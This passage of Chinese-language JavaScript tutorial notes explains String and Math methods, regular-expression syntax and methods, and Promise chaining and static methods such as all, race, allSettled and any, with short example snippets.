上面代码中，`n`是一个原始类型的数值。直接在它上面新增一个属性`x`，不会报错，但毫无作用，总是返回`undefined`。这是因为一旦被调用属性，`n`就自动转为`Number`的实例对象，调用结束后，该对象自动销毁。所以，下一次调用`n`的属性时，实际取到的是另一个对象，属性`x`当然就读不出来。

## String 对象

`String`对象是 JavaScript 原生提供的三个包装对象之一，用来生成字符串对象。

字符串对象是一个类似数组的对象（很像数组，但不是数组）

```js
new String('abc')
// String {0: "a", 1: "b", 2: "c", length: 3}

(new String('abc'))[1] // "b"
```

### 静态方法

...

### 实例方法

`String.prototype.charAt()`方法返回指定位置的字符，参数是从`0`开始编号的位置

`String.prototype.concat()`方法用于连接两个字符串，返回一个新字符串，不改变原字符串。

`String.prototype.slice()`方法用于从原字符串取出子字符串并返回，不改变原字符串。它的第一个参数是子字符串的开始位置，第二个参数是子字符串的结束位置（不含该位置）。

`String.prototype.substring()`方法用于从原字符串取出子字符串并返回，不改变原字符串，跟`slice`方法很相像。它的第一个参数表示子字符串的开始位置，第二个位置表示结束位置（返回结果不含该位置）。

如果省略第二个参数，则表示子字符串一直到原字符串的结束。

如果第一个参数大于第二个参数，`substring`方法会自动更换两个参数的位置。

如果参数是负数，`substring`方法会自动将负数转为0。

`String.prototype.indexOf()`方法用于确定一个字符串在另一个字符串中第一次出现的位置，返回结果是匹配开始的位置。如果返回`-1`，就表示不匹配，该方法还可以接受第二个参数，表示从该位置开始向后匹配。

`String.prototype.lastIndexOf()` 方法的用法跟`indexOf`方法一致，主要的区别是`lastIndexOf`从尾部开始匹配，`indexOf`则是从头部开始匹配。

`String.prototype.trim()`方法用于去除字符串两端的空格，返回一个新字符串，不改变原字符串。

`String.prototype.toLowerCase()`方法用于将一个字符串全部转为小写，`toUpperCase`则是全部转为大写。它们都返回一个新字符串，不改变原字符串。

`String.prototype.match()`方法用于确定原字符串是否匹配某个子字符串，返回一个数组，成员为匹配的第一个字符串。如果没有找到匹配，则返回`null`。支持正则表达式作为参数

返回的数组还有`index`属性和`input`属性，分别表示匹配字符串开始的位置和原始字符串。

`String.prototype.search()`方法的用法基本等同于`match`，但是返回值为匹配的第一个位置。如果没有找到匹配，则返回`-1`。

`String.prototype.replace()` 方法用于替换匹配的子字符串，一般情况下只替换第一个匹配（除非使用带有`g`修饰符的正则表达式）。

`String.prototype.split()` 方法按照给定规则分割字符串，返回一个由分割出来的子字符串组成的数组。

```js
'a|b|c'.split('|') // ["a", "b", "c"]
```

`split`方法的第二个参数，决定了返回数组的成员数，支持正则表达式。

## Math 对象

`Math`是 JavaScript 的原生对象，提供各种数学功能。**该对象不是构造函数**，不能生成实例，所有的属性和方法都必须在`Math`对象上调用。

### Math.abs()

`Math.abs`方法返回参数值的绝对值。

### Math.max()

`Math.max`方法返回参数之中最大的那个值

### Math.min()

`Math.min`返回最小的那个值

### Math.floor()

`Math.floor`方法返回**小于或等于**参数值的最大**整数**（地板值）

```js
Math.floor(3.2) // 3
Math.floor(-3.2) // -4
```

### Math.ceil()

`Math.ceil`方法返回大于或等于参数值的最小整数（天花板值）

```js
Math.ceil(3.2) // 4
Math.ceil(-3.2) // -3
```

### Math.round()

`Math.round`方法用于四舍五入。

### Math.random()

`Math.random()`返回0到1之间的一个伪随机数，可能等于0，但是一定小于1。

任意范围的**随机数**生成函数如下。

```js
function getRandomArbitrary(min, max) {
  return Math.random() * (max - min) + min;
}

getRandomArbitrary(1.5, 6.5)
// 2.4942810038223864
```

任意范围的**随机整数**生成函数如下。

```js
function getRandomInt(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

getRandomInt(1, 6) // 5
```

返回**随机字符**的例子如下。

```js
function random_str(length) {
  var ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  ALPHABET += 'abcdefghijklmnopqrstuvwxyz';
  ALPHABET += '0123456789-_';
  var str = '';
  for (var i = 0; i < length; ++i) {
    var rand = Math.floor(Math.random() * ALPHABET.length);
    str += ALPHABET.substring(rand, rand + 1);
  }
  return str;
}

random_str(6) // "NdQKOr"
```

上面代码中，`random_str`函数接受一个整数作为参数，返回变量`ALPHABET`内的随机字符所组成的指定长度的字符串。

## Date 对象

...

## RegExp 对象

新建正则表达式有两种方法。

一种是使用**字面量**，以斜杠表示开始和结束。

```js
var regex = /xyz/;
```

另一种是使用`RegExp`构造函数。

```js
var regex = new RegExp('xyz');
```

`RegExp`构造函数还可以接受第二个参数，表示修饰符

### 实例方法

#### test()

`RegExp.prototype.` 正则实例对象的`test`方法返回一个布尔值，表示当前模式是否能匹配参数字符串。

```js
/cat/.test('cats and dogs') // true
```

如果正则表达式带有`g`修饰符，则每一次`test`方法都从**上一次结束**的位置开始向后匹配。

> \[!tip]
>
> `RegExp.prototype.lastIndex`：返回一个整数，表示下一次开始搜索的位置。该属性可读写，但是只在进行连续搜索时有意义，详细介绍请看后文。

```js
var r = /x/g;
var s = '_x_x';

r.lastIndex // 0
r.test(s) // true

r.lastIndex // 2
r.test(s) // true

r.lastIndex // 4
r.test(s) // false
```

`g`修饰符，表示是全局搜索，可以通过正则对象的`lastIndex`属性指定开始搜索的位置。

#### exec()

`RegExp.prototype.exec()`用来返回匹配结果。如果发现匹配，就返回一个数组，成员是匹配成功的子字符串，否则返回`null`。

如果正则表达式包含圆括号（即含有“**组匹配**”），则返回的数组会包括多个成员。第一个成员是整个匹配成功的结果，后面的成员就是圆括号对应的匹配成功的组。

也就是说，第二个成员对应第一个括号，第三个成员对应第二个括号，以此类推。整个数组的`length`属性等于组匹配的数量再加1。

```js
var s = '_x_x';
var r = /_(x)/;

r.exec(s) // ["_x", "x"]
```

`exec()`方法的返回数组还包含以下两个属性：

* `input`：整个原字符串。
* `index`：模式匹配成功的开始位置（从0开始计数）。

如果正则表达式加上`g`修饰符，则可以使用多次`exec()`方法，下一次搜索的位置从上一次匹配成功结束的位置开始。

利用`g`修饰符允许多次匹配的特点，可以用一个循环完成全部匹配。

```js
var reg = /a/g;
var str = 'abc_abc_abc'

while(true) {
  var match = reg.exec(str);
  if (!match) break;
  console.log('#' + match.index + ':' + match[0]);
}
// #0:a
// #4:a
// #8:a
```

#### match()

`String.prototype.match()`对**字符串**进行正则匹配，返回匹配结果

```js
var s = '_x_x';
var r1 = /x/;
var r2 = /y/;

s.match(r1) // ["x"]
s.match(r2) // null
```

如果正则表达式带有`g`修饰符，则该方法与正则对象的`exec`方法行为不同，**会一次性返回所有匹配成功的结果。**

设置正则表达式的`lastIndex`属性，对`match`方法无效，匹配总是从字符串的第一个字符开始。

#### search()

`String.prototype.search()`返回**第一个满足条件**的匹配结果在整个字符串中的位置。如果没有任何匹配，则返回`-1`。

```js
'_x_x'.search(/x/)
// 1
```

#### replace()

`String.prototype.replace()`方法可以替换匹配的值。它接受两个参数，第一个是正则表达式，表示搜索模式，第二个是替换的内容。

正则表达式如果不加`g`修饰符，就替换第一个匹配成功的值，否则替换所有匹配成功的值。

`replace`方法的一个应用，就是消除字符串首尾两端的空格。

```js
var str = '  #id div.class  ';

str.replace(/^\s+|\s+$/g, '')
// "#id div.class"
```

`replace`方法的第二个参数可以使用美元符号`$`，用来指代所替换的内容。

* `$&`：匹配的子字符串。
* \`$\`\`：匹配结果前面的文本。
* `$'`：匹配结果后面的文本。
* `$n`：匹配成功的第`n`组内容，`n`是从1开始的自然数。
* `$$`：指代美元符号`$`。

```js
'hello world'.replace(/(\w+)\s(\w+)/, '$2 $1')
// "world hello"
```

`replace`方法的第二个参数还可以是一个函数，将每一个匹配内容替换为函数返回值。

```js
'3 and 5'.replace(/[0-9]+/g, function (match) {
  return 2 * match;
})
// "6 and 10"

var a = 'The quick brown fox jumped over the lazy dog.';
var pattern = /quick|brown|lazy/ig;

a.replace(pattern, function replacer(match) {
  return match.toUpperCase();
});
// The QUICK BROWN fox jumped over the LAZY dog.
```

函数，可以接受多个参数。

其中，第一个参数是**捕捉到的内容**，第二个参数是捕捉到的**组匹配**（**有多少个组匹配，就有多少个对应的参数**）。

此外，最后还可以添加两个参数，倒数第二个参数是捕捉到的内容在整个字符串中的**位置**（比如从第五个位置开始），最后一个参数是**原字符串**。下面是一个网页模板替换的例子。

#### split()

`String.prototype.split()`方法按照正则规则分割字符串，返回一个由分割后的各个部分组成的数组。

```js
str.split(separator, [limit])
```

该方法接受两个参数，第一个参数是正则表达式，表示分隔规则，第二个参数是返回数组的最大成员数。

## 匹配规则

### 字面量字符

大部分字符在正则表达式中，就是字面的含义，比如`/a/`匹配`a`，`/b/`匹配`b`。

```js
/dog/.test('old dog') // true
```

如果在正则表达式之中，某个字符只表示它字面的含义（就像前面的`a`和`b`），那么它们就叫做“**字面量字符**”（literal characters）。

### 元字符

还有一部分字符有特殊含义，不代表字面的意思。它们叫做“**元字符**”（metacharacters），主要有以下几个。

#### 点字符（.)

点字符（`.`）匹配除回车（`\r`）、换行(`\n`) 、行分隔符（`\u2028`）和段分隔符（`\u2029`）以外的所有字符。注意，对于码点大于`0xFFFF`字符，点字符不能正确匹配，会认为这是两个字符。

```
/c.t/
```

上面代码中，`c.t`匹配`c`和`t`之间包含任意一个字符的情况，只要这三个字符在同一行，比如`cat`、`c2t`、`c-t`等等，但是不匹配`coot`。

#### 位置字符

位置字符用来提示字符所处的位置，主要有两个字符。

* `^` 表示字符串的开始位置
* `$` 表示字符串的结束位置

```js
// test必须出现在开始位置
/^test/.test('test123') // true

// test必须出现在结束位置
/test$/.test('new test') // true

// 从开始位置到结束位置只有test
/^test$/.test('test') // true
/^test$/.test('test test') // false
```

#### 选择符（|）

竖线符号（`|`）在正则表达式中表示“或关系”（OR），即`cat|dog`表示匹配`cat`或`dog`。

**选择符会包括它前后的多个字符**，比如`/ab|cd/`指的是匹配`ab`或者`cd`，而不是指匹配`b`或者`c`。如果想修改这个行为，可以使用圆括号。

```js
/a( |\t)b/.test('a\tb') // true
```

上面代码指的是，`a`和`b`之间有一个空格或者一个制表符。

### 转义符

正则表达式中那些有特殊含义的元字符，如果要匹配它们本身，就需要在它们前面要加上反斜杠。比如要匹配`+`，就要写成`\+`。

```js
/1+1/.test('1+1')
// false

/1\+1/.test('1+1')
// true
```

正则表达式中，需要反斜杠转义的，一共有12个字符：`^`、`.`、`[`、`$`、`(`、`)`、`|`、`*`、`+`、`?`、`{`和`\`。

需要特别注意的是，如果使用`RegExp`方法生成正则对象，转义需要使用两个斜杠，因为字符串内部会先转义一次。

> \[!tip]
>
> `RegExp`作为构造函数，参数是一个字符串。但是，在字符串内部，反斜杠也是转义字符，所以它会先被反斜杠转义一次，然后再被正则表达式转义一次，因此需要两个反斜杠转义。

### 特殊字符

正则表达式对一些不能打印的特殊字符，提供了表达方法。

* `\cX` 表示`Ctrl-[X]`，其中的`X`是A-Z之中任一个英文字母，用来匹配控制字符。
* `[\b]` 匹配退格键(U+0008)，不要与`\b`混淆。
* `\n` 匹配换行键。
* `\r` 匹配回车键。
* `\t` 匹配制表符 tab（U+0009）。
* `\v` 匹配垂直制表符（U+000B）。
* `\f` 匹配换页符（U+000C）。
* `\0` 匹配`null`字符（U+0000）。
* `\xhh` 匹配一个以两位十六进制数（`\x00`-`\xFF`）表示的字符。
* `\uhhhh` 匹配一个以四位十六进制数（`\u0000`-`\uFFFF`）表示的 Unicode 字符。

### 字符类

字符类（class）表示有一系列字符可供选择，只要匹配其中一个就可以了。所有可供选择的字符都放在方括号内，比如`[xyz]` 表示`x`、`y`、`z`之中任选一个匹配。

```js
/[abc]/.test('hello world') // false
/[abc]/.test('apple') // true
```

**有两个字符在字符类中有特殊含义。**

**脱字符（^）**

如果方括号内的第一个字符是`[^]`，则表示除了字符类之中的字符，其他字符都可以匹配。比如，`[^xyz]`表示除了`x`、`y`、`z`之外都可以匹配。

```js
/[^abc]/.test('bbc news') // true
/[^abc]/.test('bbc') // false
```

上面代码中，字符串`bbc news`包含`a`、`b`、`c`以外的其他字符，所以返回`true`；字符串`bbc`不包含`a`、`b`、`c`以外的其他字符，所以返回`false`。

> \[!tip]
>
> 如果方括号内没有其他字符，即只有`[^]`，就表示匹配一切字符，其中包括换行符。相比之下，点号作为元字符（`.`）是不包括换行符的。

**连字符（-）**

某些情况下，对于连续序列的字符，连字符（`-`）用来提供简写形式，表示字符的连续范围。比如，`[abc]`可以写成`[a-c]`，`[0123456789]`可以写成`[0-9]`，同理`[A-Z]`表示26个大写字母。

**当连字号（dash）不出现在方括号之中，就不具备简写的作用，只代表字面的含义**

> \[!caution]
>
> 不要过分使用连字符，设定一个很大的范围，否则很可能选中意料之外的字符。最典型的例子就是`[A-z]`，表面上它是选中从大写的`A`到小写的`z`之间52个字母，但是由于在 ASCII 编码之中，大写字母与小写字母之间还有其他字符，结果就会出现意料之外的结果。
>
> ```js
> /[A-z]/.test('\\') // true
> ```
>
> 上面代码中，由于反斜杠（`\`）的ASCII码在大写字母与小写字母之间，结果会被选中。

### 预定义模式

预定义模式指的是某些常见模式的简写方式。

* `\d` 匹配0-9之间的任一数字，相当于`[0-9]`。
* `\D` 匹配所有0-9以外的字符，相当于`[^0-9]`。
* `\w` 匹配任意的字母、数字和下划线，相当于`[A-Za-z0-9_]`。
* `\W` 除所有字母、数字和下划线以外的字符，相当于`[^A-Za-z0-9_]`。
* `\s` 匹配空格（包括换行符、制表符、空格符等），相等于`[ \t\r\n\v\f]`。
* `\S` 匹配非空格的字符，相当于`[^ \t\r\n\v\f]`。
* `\b` 匹配词的边界。
* `\B` 匹配非词边界，即在词的内部。

```js
// \s 的例子
/\s\w*/.exec('hello world') // [" world"]

// \B 的例子
/\Bworld/.test('hello-world') // false
/\Bworld/.test('helloworld') // true
/\bworld/.test('hello world') // true
/\bworld/.test('hello-world') // true
/\bworld/.test('helloworld') // false

// \B 的例子
/\Bworld/.test('hello-world') // false
/\Bworld/.test('helloworld') // true
```

`\b`表示词的边界，所以`world`的词首必须独立（词尾是否独立未指定），才会匹配。同理，`\B`表示非词的边界，只有`world`的词首不独立，才会匹配。

> \[!TIP]
>
> 通常情况下，正则表达式遇到换行符`\n`就会停止匹配。
>
> 可以使用`\s`字符类即可匹配包含换行符

### 重复类

用于描述一个字符出现次数，使用大括号`{}`表示，`{n}`表示只能出现`n`次，`{n,}`表示最少出现`n`次，`{n,m}`表示最少`n`次，最多`m`次

```js
/lo{2}k/.test('look') // true
/lo{2,5}k/.test('looook') // true
```

### 量词符

量词符用来设定某个模式出现的次数。

* `?` 问号表示某个模式出现0次或1次，等同于`{0, 1}`。
* `*` 星号表示某个模式出现0次或多次，等同于`{0,}`。
* `+` 加号表示某个模式出现1次或多次，等同于`{1,}`。

```js
// t 出现0次或1次
/t?est/.test('test') // true
/t?est/.test('est') // true

// t 出现1次或多次
/t+est/.test('test') // true
/t+est/.test('ttest') // true
/t+est/.test('est') // false

// t 出现0次或多次
/t*est/.test('test') // true
/t*est/.test('ttest') // true
/t*est/.test('tttest') // true
/t*est/.test('est') // true
```

### 贪婪模式

刚才讲述的量词符，默认情况下都是最大可能得匹配，即匹配到下一个字符不满足匹配规则为止。这种被称为贪婪模式。

```js
let a = 'aaa';
s.match(/a+/) // ["aaa"]
```

上面的代码中，模式是`a+`，表示匹配一个`a`或者多个`a`，但是其默认是贪婪模式，会一直匹配到字符`a`不出现为止，所以匹配结果是三个字符`a`。

量词符默认是**贪婪模式**，当然也可以改成非贪婪模式，即最小可能匹配。**只要一发现匹配，就返回结果**，不要继续往下检查了。

**把贪婪模式改为非贪婪模式的方式是在量词符的后面添加一个问号。**

```js
var s = 'aaa';
s.match(/a+?/) // ["a"]
```

上面例子中，模式结尾添加了一个问号`/a+?/`，这时就改为非贪婪模式，一旦条件满足，就不再往下匹配，`+?`表示只要发现一个`a`，就不再往下匹配了。

* `+?`：表示某个模式出现1次或多次，匹配时采用非贪婪模式。
* `*?`：表示某个模式出现0次或多次，匹配时采用非贪婪模式。
* `??`：表格某个模式出现0次或1次，匹配时采用非贪婪模式。

### 修饰符

修饰符（modifier）表示模式的附加规则，放在正则模式的最尾部，修饰符可以单个使用，也可以多个一起使用。

```js
// 单个修饰符
var regex = /test/i;

// 多个修饰符
var regex = /test/ig;
```

#### g 修饰符

默认情况下，第一次匹配成功后，正则对象就停止向下匹配了。`g`修饰符表示全局匹配（global），加上它以后，正则对象将匹配全部符合条件的结果，主要用于搜索和替换。

#### i 修饰符

默认情况下，正则对象区分字母的大小写，加上`i`修饰符以后表示忽略大小写（ignoreCase）。

#### m 修饰符

`m`修饰符表示多行模式（multiline），会修改`^`和`$`的行为。

默认情况下（即不加`m`修饰符时），`^`和`$`匹配字符串的开始处和结尾处，加上`m`修饰符以后，`^`和`$`还会匹配行首和行尾，**即`^`和`$`会识别换行符（`\n`）**。

```js
/world$/.test('hello world\n') // false 不匹配换行符 
/world$/m.test('hello world\n') // true
```

```js
/^b/m.test('a\nb') // true
```

上面代码要求匹配行首的`b`，如果不加`m`修饰符，就相当于`b`只能处在字符串的开始处。加上`m`修饰符以后，**换行符`\n`也会被认为是一行的开始。**

### 组匹配

**概述**：正则表达式的括号表示分**组匹配**，括号中的模式可以用来匹配**分组的内容**。

```js
/fred+/.test('fredd') // true
/(fred)+/.test('fredfred') // true
```

上面代码中，第一个模式没有括号，结果`+`只表示**重复字母**`d`，第二个模式有括号，结果`+`就表示匹配`fred`**这个词**。

```js
var m = 'abcabc'.match(/(.)b(.)/);
m
// ['abc', 'a', 'c']	第一个代表整个正则的匹配结果，后面是各组匹配的结果
```

上面代码中，正则表达式`/(.)b(.)/`一共使用两个括号，第一个括号捕获`a`，第二个括号捕获`c`。

> \[!TIP]
>
> 注意，使用组匹配时，不宜同时使用`g`修饰符，否则`match`方法不会捕获分组的内容。

```js
var m = 'abcabc'.match(/(.)b(.)/g);
m // ['abc', 'abc']
```

上面代码使用带`g`修饰符的正则表达式，结果`match`方法只捕获了匹配整个表达式的部分。这时必须使用正则表达式的`exec`方法，配合循环，才能读到每一轮匹配的组捕获。

```js
var str = 'abcabc';
var reg = /(.)b(.)/g;
while (true) {
  var result = reg.exec(str);
  if (!result) break;
  console.log(result);
}
// ["abc", "a", "c"]
// ["abc", "a", "c"]
```

**正则表达式内部，还可以用`\n`引用括号匹配的内容**，`n`是从1开始的自然数，表示对应顺序的括号。

```js
/(.)b(.)\1b\2/.test("abcabc")
// true
```

上面的代码中，`\1`表示第一个括号匹配的内容（即`a`），`\2`表示第二个括号匹配的内容（即`c`）。

```js
/y(..)(.)\2\1/.test('yabccab') // true
```

**括号还可以嵌套**。

```js
/y((..)\2)\1/.test('yabababab') // true
```

上面代码中，`\1`指向外层括号，`\2`指向内层括号。

一个匹配网页标签的例子

```js
var tagName = /<([^>]+)>[^<]*<\/\1>/;

tagName.exec("<b>bold</b>")[1]
// 'b'
```

上面代码中，圆括号匹配尖括号之中的标签，而`\1`就表示对应的闭合标签。

上面代码略加修改，就能捕获带有属性的标签。

```js
var html = '<b class="hello">Hello</b><i>world</i>';
var tag = /<(\w+)([^>]*)>(.*?)<\/\1>/g;

var match = tag.exec(html);

match[1] // "b"
match[2] // " class="hello""
match[3] // "Hello"

match = tag.exec(html);

match[1] // "i"
match[2] // ""
match[3] // "world"
```

**非捕获组**

`(?:x)`称为非捕获组（Non-capturing group），表示不返回该组匹配的内容，即匹配的结果中不计入这个括号。

非捕获组的作用请考虑这样一个场景，假定需要匹配`foo`或者`foofoo`，正则表达式就应该写成`/(foo){1, 2}/`，但是这样会占用一个**组匹配**。这时，就可以使用非捕获组，将正则表达式改为`/(?:foo){1, 2}/`，它的作用与前一个正则是一样的，但是不会单独输出括号内部的内容。

```js
var m = 'abc'.match(/(?:.)b(.)/);
m // ["abc", "c"]
```

上面代码中的模式，一共使用了两个括号。其中第一个括号是非捕获组，所以最后返回的结果中没有第一个括号，只有第二个括号匹配的内容。

分解网址的正则表达式。

```js
// 正常匹配
var url = /(http|ftp):\/\/([^/\r\n]+)(\/[^\r\n]*)?/;

url.exec('http://google.com/');
// ["http://google.com/", "http", "google.com", "/"]

// 非捕获组匹配
var url = /(?:http|ftp):\/\/([^/\r\n]+)(\/[^\r\n]*)?/;

url.exec('http://google.com/');
// ["http://google.com/", "google.com", "/"]
```

上面的代码中，前一个正则表达式是正常匹配，第一个括号返回网络协议；后一个正则表达式是非捕获匹配，返回结果中不包括网络协议。

**先行断言**

`x(?=y)`称为先行断言（Positive look-ahead），`x`只有在`y`前面才匹配，`y`不会被计入返回结果。比如，要匹配后面跟着百分号的数字，可以写成`/\d+(?=%)/`。

“先行断言”中，括号里的部分是不会返回的。

```js
var m = 'abc'.match(/b(?=c)/);
m // ["b"]
```

上面的代码使用了先行断言，`b`在`c`前面所以被匹配，但是括号对应的`c`不会被返回。

**先行否定断言**

`x(?!y)`称为先行否定断言（Negative look-ahead），`x`只有不在`y`前面才匹配，`y`不会被计入返回结果。比如，要匹配后面跟的不是百分号的数字，就要写成`/\d+(?!%)/`。

```js
/\d+(?!\.)/.exec('3.14')
// ["14"]
```

上面代码中，正则表达式指定，只有不在小数点前面的数字才会被匹配，因此返回的结果就是`14`。

“先行否定断言”中，括号里的部分是不会返回的。

```js
var m = 'abd'.match(/b(?!c)/);
m // ['b']
```

上面的代码使用了先行否定断言，`b`不在`c`前面所以被匹配，而且括号对应的`d`不会被返回。

---

---
url: /js/4bpyazfy/index.md
---
# Promise
## 状态传递

`resolve` 函数的参数除了正常的值以外，还可能是另一个 Promise 实例

```js
const p1 = new Promise(function (resolve, reject) {
  // ...
});

const p2 = new Promise(function (resolve, reject) {
  // ...
  resolve(p1);
})
```

上面代码中，`p1` 和 `p2` 都是 Promise 的实例，但是 `p2` 的 `resolve` 方法将 `p1` 作为参数，**即一个异步操作的结果是返回另一个异步操作。**

注意，这时 `p1` 的状态就会传递给 `p2`，也就是说，`p1` 的状态决定了 `p2` 的状态。

如果 `p1` 的状态是 `pending`，那么 `p2` 的回调函数就会等待 `p1` 的状态改变；如果 `p1` 的状态已经是 `resolved` 或者 `rejected`，那么 `p2` 的回调函数将会立刻执行。

```js
const p1 = new Promise(function (resolve, reject) {
  setTimeout(() => reject(new Error('fail')), 3000)
})

const p2 = new Promise(function (resolve, reject) {
  setTimeout(() => resolve(p1), 1000)
})

p2
  .then(result => console.log(result))
  .catch(error => console.log(error))
// Error: fail
```

上面的代码，`p1` 和 `p2` 同时开始执行（并发），1 秒后 `p2` 执行 `resolve`，再过 2 秒，`p1` 的 `reject` 执行

`resolve` 方法返回的是 `p1`。由于 `p2` 返回的是另一个 Promise，**导致 `p2` 自己的状态无效了，由 `p1` 的状态决定 `p2` 的状态。**

所以，后面的 `then` 语句都变成针对后者（`p1`），只会执行 `catch` 捕获错误。

**注意**，调用 `resolve` 或 `reject` 并不会终结 Promise 的参数函数的执行，也就是，在 `resolve` 或 `reject` 后的代码还会继续执行。

```js
new Promise((resolve, reject) => {
  resolve(1);
  console.log(2);
}).then(r => {
  console.log(r);
});
// 2
// 1
```

上面代码中，调用 `resolve(1)` 以后，后面的 `console.log(2)` 还是会执行，并且会首先打印出来。**这是因为立即 resolved 的 Promise 是在本轮事件循环的末尾执行**，总是晚于本轮循环的同步任务。

一般来说，调用 `resolve` 或 `reject` 以后，Promise 的使命就完成了，后继操作应该放到 `then` 方法里面，而不应该直接写在 `resolve` 或 `reject` 的后面。所以，最好在它们前面加上 `return` 语句，这样就不会有意外。

## 实例方法

### then()

它的作用是为 Promise 实例添加状态改变时的回调函数，`then` 方法的第一个参数是 `resolved` 状态的回调函数，第二个参数是 `rejected` 状态的回调函数，它们都是可选的。

`then` 方法返回的是一个新的 `Promise` 实例（注意，不是原来那个 `Promise` 实例）。因此可以采用链式写法，即 `then` 方法后面再调用另一个 `then` 方法。

```js {1,3}
getJSON("/posts.json").then(function(json) {
  return json.post;
}).then(function(post) {
  // ...
});
```

上面的代码使用`then`方法，依次指定了两个回调函数。**第一个回调函数完成以后，会将返回结果作为参数，传入第二个回调函数。**

采用链式的`then`，可以指定一组按照次序调用的回调函数。这时，前一个回调函数，有可能返回的还是一个`Promise`对象（即有异步操作），这时后一个回调函数，就会等待该`Promise`对象的状态发生变化，才会被调用。

```js
getJSON("/post/1.json").then(
  post => getJSON(post.commentURL)
).then(
  comments => console.log("resolved: ", comments),
  err => console.log("rejected: ", err)
);
```

上面代码中，第一个`then`方法指定的回调函数，返回的是另一个`Promise`对象。这时，第二个`then`方法指定的回调函数，就会等待这个新的`Promise`对象状态发生变化。如果变为`resolved`，就调用第一个回调函数，如果状态变为`rejected`，就调用第二个回调函数。

**绕点**：

then() 本身就返回一个 Promise: 这是 Promise 链式调用的关键。 无论你在 then() 中做什么，then() 方法都会返回一个新的 Promise。

**then()** **的返回的 Promise 的值，取决于** **then()** **中的** **return** **语句:**

* **如果 then() 中 return 一个值 (非 Promise)，** 那么 then() 返回的 Promise 会变为 fulfilled 状态，并且这个值会成为下一个 then() 的输入。
* **如果 then() 中 return 一个 Promise，** 那么 then() 返回的 Promise 会“等待” 这个被 return 的 Promise 变为 fulfilled 或 rejected 状态。 最终，then() 返回的 Promise 的状态和值，与被 return 的 Promise 的状态和值保持一致。

### catch()

`Promise.prototype.catch()`方法是`.then(null, rejection)`或`.then(undefined, rejection)`的别名，用于指定发生错误时的回调函数。

Promise 对象的错误具有“冒泡”性质，会一直向后传递，直到被捕获为止。也就是说，错误总是会被下一个`catch`语句捕获。

```js
getJSON('/post/1.json').then(function(post) {
  return getJSON(post.commentURL);
}).then(function(comments) {
  // some code
}).catch(function(error) {
  // 处理前面三个Promise产生的错误
});
```

上面代码中，一共有三个 Promise 对象：一个由`getJSON()`产生，两个由`then()`产生。它们之中任何一个抛出的错误，都会被最后一个`catch()`捕获。

一般来说，不要在`then()`方法里面定义 Reject 状态的回调函数（即`then`的第二个参数），总是使用`catch`方法。

```js
// bad
promise
  .then(function(data) {
    // success
  }, function(err) {
    // error
  });

// good
promise
  .then(function(data) { //cb
    // success
  })
  .catch(function(err) {
    // error
  });
```

上面代码中，第二种写法要好于第一种写法，理由是第二种写法可以捕获前面`then`方法执行中的错误，也更接近同步的写法（`try/catch`）。因此，建议总是使用`catch()`方法，而不使用`then()`方法的第二个参数。

### finally()

`finally()`方法用于指定不管 Promise 对象最后状态如何，都会执行的操作。

### all()

`Promise.all()`方法用于将多个 Promise 实例，包装成一个新的 Promise 实例。

```js
const p = Promise.all([p1, p2, p3]);
```

上面代码中，`Promise.all()`方法接受一个数组作为参数，`p1`、`p2`、`p3`都是 Promise 实例，如果不是，就会先调用`Promise.resolve`方法，将参数转为 Promise 实例，再进一步处理。另外，`Promise.all()`方法的参数可以不是数组，但必须具有 Iterator 接口，且返回的每个成员都是 Promise 实例。

`p`的状态由`p1`、`p2`、`p3`决定，分成两种情况。

（1）只有`p1`、`p2`、`p3`的状态都变成`fulfilled`，`p`的状态才会变成`fulfilled`，此时`p1`、`p2`、`p3`的返回值组成一个数组，传递给`p`的回调函数。

（2）只要`p1`、`p2`、`p3`之中有一个被`rejected`，`p`的状态就变成`rejected`，此时第一个被`reject`的实例的返回值，会传递给`p`的回调函数。

```js
// 生成一个Promise对象的数组
const promises = [2, 3, 5, 7, 11, 13].map(function (id) {
  return getJSON('/post/' + id + ".json");
});

Promise.all(promises).then(function (posts) {
  // ...
}).catch(function(reason){
  // ...
});
```

### race()

`Promise.race()`方法同样是将多个 Promise 实例，包装成一个新的 Promise 实例。

```js
const p = Promise.race([p1, p2, p3]);
```

上面代码中，只要`p1`、`p2`、`p3`之中有一个实例率先改变状态，`p`的状态就跟着改变。那个率先改变的 Promise 实例的返回值，就传递给`p`的回调函数。

### allSettled()

有时候，我们希望等到一组异步操作都结束了，不管每一个操作是成功还是失败，再进行下一步操作。但是，现有的 Promise 方法很难实现这个要求。

`Promise.all()`方法只适合所有异步操作都成功的情况，如果有一个操作失败，就无法满足要求。

`Promise.allSettled()`方法，用来确定一组异步操作是否都结束了（不管成功或失败）。

`Promise.allSettled()`方法接受一个数组作为参数，数组的每个成员都是一个 Promise 对象，并返回一个新的 Promise 对象。只有等到参数数组的所有 Promise 对象都发生状态变更（不管是`fulfilled`还是`rejected`），返回的 Promise 对象才会发生状态变更。

该方法返回的新的 Promise 实例，一旦发生状态变更，状态总是`fulfilled`，不会变成`rejected`。状态变成`fulfilled`后，它的回调函数会接收到一个数组作为参数，该数组的每个成员对应前面数组的每个 Promise 对象。

```js
const resolved = Promise.resolve(42);
const rejected = Promise.reject(-1);

const allSettledPromise = Promise.allSettled([resolved, rejected]);

allSettledPromise.then(function (results) {
  console.log(results);
});
// [
//    { status: 'fulfilled', value: 42 },
//    { status: 'rejected', reason: -1 }
// ]
```

### any()

该方法接受一组 Promise 实例作为参数，包装成一个新的 Promise 实例返回。

只要参数实例有一个变成`fulfilled`状态，包装实例就会变成`fulfilled`状态；如果所有参数实例都变成`rejected`状态，包装实例就会变成`rejected`状态。

`Promise.any()`跟`Promise.race()`方法很像，只有一点不同，就是`Promise.any()`不会因为某个 Promise 变成`rejected`状态而结束，必须等到所有参数 Promise 变成`rejected`状态才会结束。

### resolve()

有时需要将现有对象转为 Promise 对象，`Promise.resolve()`方法就起到这个作用。

`Promise.resolve()`等价于下面的写法。

```js
Promise.resolve('foo')
// 等价于
new Promise(resolve => resolve('foo'))
```

`Promise.resolve()`方法的参数分成四种情况。

**（1）参数是一个 Promise 实例**

如果参数是 Promise 实例，那么`Promise.resolve`将不做任何修改、原封不动地返回这个实例。

**（2）参数是一个`thenable`对象**

`thenable`对象指的是具有`then`方法的对象，比如下面这个对象。

```js
let thenable = {
  then: function(resolve, reject) {
    resolve(42);
  }
};
```

`Promise.resolve()`方法会将这个对象转为 Promise 对象，然后就立即执行`thenable`对象的`then()`方法。

```js
let thenable = {
  then: function(resolve, reject) {
    resolve(42);
  }
};

